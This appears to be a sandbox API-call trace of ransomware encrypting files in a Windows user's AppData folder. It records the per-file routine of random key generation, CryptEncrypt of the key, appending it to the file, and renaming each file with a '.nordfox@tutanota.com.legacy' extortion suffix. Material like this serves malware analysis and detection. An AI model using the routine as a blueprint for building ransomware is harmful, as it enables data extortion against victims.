[0117.973] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11b99 [0117.973] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.973] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.975] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.975] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.975] CloseHandle (hObject=0x6a8) returned 1 [0117.975] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.975] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0117.975] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\fL2x0_UbFCma9-HfWpPr.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fl2x0_ubfcma9-hfwppr.swf"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\fL2x0_UbFCma9-HfWpPr.swf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fl2x0_ubfcma9-hfwppr.swf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.977] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55c150 | out: hHeap=0x520000) returned 1 [0117.977] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0117.977] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0117.977] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dad8 [0117.977] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0117.978] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.978] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0117.978] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.978] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\dCYRa.jpg", dwFileAttributes=0x80) returned 1 [0117.978] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56db30 [0117.978] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41a18 [0117.978] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56db30 | out: hHeap=0x520000) returned 1 [0117.978] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\dCYRa.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dcyra.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.979] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=66700) returned 1 [0117.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1048c) returned 0x609bd8 [0117.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1048c) returned 0x2e41f30 [0117.980] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x1048c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1048c, lpOverlapped=0x0) returned 1 [0117.983] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-66700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.983] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x1048c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1048c, lpOverlapped=0x0) returned 1 [0117.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.984] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1048c [0117.984] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.984] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.984] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.985] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.985] CloseHandle (hObject=0x6a8) returned 1 [0117.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0117.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.985] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\dCYRa.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dcyra.jpg"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\dCYRa.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dcyra.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41a18 | out: hHeap=0x520000) returned 1 [0118.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dad8 | out: hHeap=0x520000) returned 1 [0118.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dea0 | out: hHeap=0x520000) returned 1 [0118.000] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0118.000] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0118.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0118.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0118.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0118.001] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ahmeaRl.png", dwFileAttributes=0x80) returned 1 [0118.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0118.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41b88 [0118.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0118.002] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ahmeaRl.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ahmearl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0118.002] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=88044) returned 1 [0118.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x157ec) returned 0x2e41f30 [0118.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x157ec) returned 0x2e57728 [0118.002] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x157ec, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x157ec, lpOverlapped=0x0) returned 1 [0118.005] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-88044, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.005] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e57728*, nNumberOfBytesToWrite=0x157ec, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e57728*, lpNumberOfBytesWritten=0x2e1f9bc*=0x157ec, lpOverlapped=0x0) returned 1 [0118.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e57728 | out: hHeap=0x520000) returned 1 [0118.008] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x157ec [0118.008] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.008] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.009] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.009] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.009] CloseHandle (hObject=0x6a8) returned 1 [0118.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0118.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0118.010] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ahmeaRl.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ahmearl.png"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ahmeaRl.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ahmearl.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41b88 | out: hHeap=0x520000) returned 1 [0118.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0118.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0118.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0118.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0118.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0118.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0118.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0118.012] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\7v42XS45.png", dwFileAttributes=0x80) returned 1 [0118.012] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0118.012] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e40f50 [0118.012] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0118.012] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\7v42XS45.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\7v42xs45.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0118.012] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=73607) returned 1 [0118.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11f87) returned 0x609bd8 [0118.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11f87) returned 0x2e41f30 [0118.014] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x11f87, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x11f87, lpOverlapped=0x0) returned 1 [0118.017] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-73607, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.017] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x11f87, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11f87, lpOverlapped=0x0) returned 1 [0118.018] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.018] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.018] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11f87 [0118.018] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.018] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.018] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.019] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.019] CloseHandle (hObject=0x6a8) returned 1 [0118.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0118.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0118.019] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\7v42XS45.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\7v42xs45.png"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\7v42XS45.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\7v42xs45.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e40f50 | out: hHeap=0x520000) returned 1 [0118.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0118.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0118.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dce8 [0118.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c54a8 [0118.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0118.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0118.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0118.025] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\7j6Oc.jpg", dwFileAttributes=0x80) returned 1 [0118.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dd98 [0118.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41738 [0118.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dd98 | out: hHeap=0x520000) returned 1 [0118.025] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\7j6Oc.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\7j6oc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0118.026] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=32865) returned 1 [0118.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8061) returned 0x609bd8 [0118.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8061) returned 0x611c48 [0118.026] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x8061, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x8061, lpOverlapped=0x0) returned 1 [0118.027] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-32865, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.027] WriteFile (in: hFile=0x6a8, lpBuffer=0x611c48*, nNumberOfBytesToWrite=0x8061, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x611c48*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8061, lpOverlapped=0x0) returned 1 [0118.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611c48 | out: hHeap=0x520000) returned 1 [0118.028] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8061 [0118.028] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.028] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.028] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.029] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.029] CloseHandle (hObject=0x6a8) returned 1 [0118.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54a8 | out: hHeap=0x520000) returned 1 [0118.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0118.029] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\7j6Oc.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\7j6oc.jpg"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\7j6Oc.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\7j6oc.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41738 | out: hHeap=0x520000) returned 1 [0118.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dce8 | out: hHeap=0x520000) returned 1 [0118.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0118.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0118.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0118.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0118.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0118.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0118.031] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\60vWEujdA.jpg", dwFileAttributes=0x80) returned 1 [0118.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0118.032] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e417f0 [0118.032] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0118.032] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\60vWEujdA.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\60vweujda.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0118.032] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8448) returned 1 [0118.032] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2100) returned 0x609bd8 [0118.033] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2100) returned 0x60bce0 [0118.033] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x2100, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2100, lpOverlapped=0x0) returned 1 [0118.033] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-8448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.034] WriteFile (in: hFile=0x6a8, lpBuffer=0x60bce0*, nNumberOfBytesToWrite=0x2100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60bce0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2100, lpOverlapped=0x0) returned 1 [0118.034] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.034] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bce0 | out: hHeap=0x520000) returned 1 [0118.034] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2100 [0118.034] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.034] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.034] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.035] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.035] CloseHandle (hObject=0x6a8) returned 1 [0118.035] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0118.035] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0118.035] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\60vWEujdA.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\60vweujda.jpg"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\60vWEujdA.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\60vweujda.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 